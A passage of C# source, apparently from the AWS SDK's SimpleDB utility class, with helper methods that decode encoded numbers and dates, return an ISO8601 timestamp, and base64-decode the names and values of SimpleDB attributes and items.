/// Decodes float value from the string representation that was created by using encodeRealNumberRange(..) function.
/// </summary>
/// <param name="value">string representation of the integer value</param>
/// <param name="maxDigitsRight">maximum number of digits left of the decimal point in the largest absolute
/// value in the data set (must be the same as the one used for encoding).</param>
/// <param name="offsetValue">offset value that was used in the original encoding</param>
/// <returns>original float value</returns>
public static float DecodeRealNumberRangeFloat(string value, int maxDigitsRight, int offsetValue)
{
return (float)(long.Parse(value, CultureInfo.InvariantCulture) / Math.Pow(10, maxDigitsRight) - offsetValue);
}
/// <summary>
/// Encodes date value into string format that can be compared lexicographically
/// </summary>
/// <param name="date">date value to be encoded</param>
/// <returns>string representation of the date value</returns>
public static string EncodeDate(DateTime date)
{
return date.ToString(dateFormat);
}
/// <summary>
/// Decodes date value from the string representation created using encodeDate(..) function.
/// </summary>
/// <param name="value">string representation of the date value</param>
/// <returns>original date value</returns>
public static DateTime DecodeDate(string value)
{
return DateTime.ParseExact(value, dateFormat, CultureInfo.InvariantCulture);
}
/// <summary>
/// Gets the Current Date as an ISO8601 formatted Timestamp
/// </summary>
/// <returns>ISO8601 formatted current timestamp String</returns>
public static string FormattedCurrentTimestamp
{
get
{
return Amazon.Util.AWSSDKUtils.FormattedCurrentTimestampISO8601;
}
}
/// <summary>
/// Decodes the base64 encoded properties of the Attribute.
/// The Name and/or Value properties of an Attribute can be base64 encoded.
/// </summary>
/// <param name="inputAttribute">The properties of this Attribute will be decoded</param>
/// <seealso cref="P:Amazon.SimpleDB.Model.Attribute.NameEncoding" />
/// <seealso cref="P:Amazon.SimpleDB.Model.Attribute.ValueEncoding" />
public static void DecodeAttribute(Amazon.SimpleDB.Model.Attribute inputAttribute)
{
if (null == inputAttribute)
{
throw new ArgumentNullException("inputAttribute", "The Attribute passed in was null");
}
string encoding = inputAttribute.NameEncoding;
if (null != encoding)
{
if (String.Compare(encoding, base64Str, true) == 0)
{
// The Name is base64 encoded
inputAttribute.Name = AmazonSimpleDBUtil.DecodeBase64String(inputAttribute.Name);
inputAttribute.NameEncoding = "";
}
}
encoding = inputAttribute.ValueEncoding;
if (null != encoding)
{
if (String.Compare(encoding, base64Str, true) == 0)
{
// The Value is base64 encoded
inputAttribute.Value = AmazonSimpleDBUtil.DecodeBase64String(inputAttribute.Value);
inputAttribute.ValueEncoding = "";
}
}
}
/// <summary>
/// Decodes the base64 properties of every SimpleDB Attribute specified in
/// list of attributes specified as input.
/// </summary>
/// <param name="attributes">The Attributes in this list will be decoded</param>
/// <seealso cref="P:Amazon.SimpleDB.Model.Attribute.NameEncoding" />
/// <seealso cref="P:Amazon.SimpleDB.Model.Attribute.ValueEncoding" />
/// <seealso cref="P:Amazon.SimpleDB.Util.AmazonSimpleDBUtil.DecodeAttribute" />
public static void DecodeAttributes(List<Amazon.SimpleDB.Model.Attribute> attributes)
{
if (attributes != null &&
attributes.Count > 0)
{
foreach (Amazon.SimpleDB.Model.Attribute at in attributes)
{
AmazonSimpleDBUtil.DecodeAttribute(at);
}
}
}
/// <summary>
/// Decodes the base64 encoded members of the Item if necessary.
/// The Name property of an Item can be base64 encoded.
/// This method also decodes any encoded properties of the Attributes
/// associated with the Input Item.
/// </summary>
/// <param name="inputItem">The Item to be decoded</param>
/// <seealso cref="P:Amazon.SimpleDB.Model.Item.NameEncoding" />
/// <seealso cref="P:Amazon.SimpleDB.Util.AmazonSimpleDBUtil.DecodeAttributes" />
public static void DecodeItem(Amazon.SimpleDB.Model.Item inputItem)
{
if (null == inputItem)
{
throw new ArgumentNullException("inputItem", "The Item passed in was null");
}
string encoding = inputItem.NameEncoding;
if (null != encoding)
{
if (String.Compare(encoding, base64Str, true) == 0)
{
// The Name is base64 encoded
inputItem.Name = AmazonSimpleDBUtil.DecodeBase64String(inputItem.Name);
inputItem.NameEncoding = "";
}
}
AmazonSimpleDBUtil.DecodeAttributes(inputItem.Attribute);
}
/// <summary>
/// Decodes the base64 encoded members of the Item List.
/// </summary>
/// <param name="inputItems">The Item List to be decoded</param>
/// <seealso cref="P:Amazon.SimpleDB.Model.Item.NameEncoding" />
/// <seealso cref="P:Amazon.SimpleDB.Util.AmazonSimpleDBUtil.DecodeAttributes" />
/// <seealso cref="P:Amazon.SimpleDB.Util.AmazonSimpleDBUtil.DecodeItem" />
public static void DecodeItems(List<Amazon.SimpleDB.Model.Item> inputItems)
{
if (inputItems != null &&
inputItems.Count > 0)
{
foreach (Amazon.SimpleDB.Model.Item it in inputItems)
{
AmazonSimpleDBUtil.DecodeItem(it);
}
}
}
/// <summary>
/// Returns the Base64 decoded version of the input string.
/// </summary>
/// <param name="encoded">The Base64 encoded string</param>
/// <returns>Decoded version of the Base64 input string</returns>
public static string DecodeBase64String(string encoded)
{
if (null == encoded)
{
throw new ArgumentNullException("encoded", "The Encoded String passed in was null");
}
byte[] encodedDataAsBytes = System.Convert.FromBase64String(encoded);
return System.Text.UTF8Encoding.UTF8.GetString(encodedDataAsBytes);
}
}
}
|
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.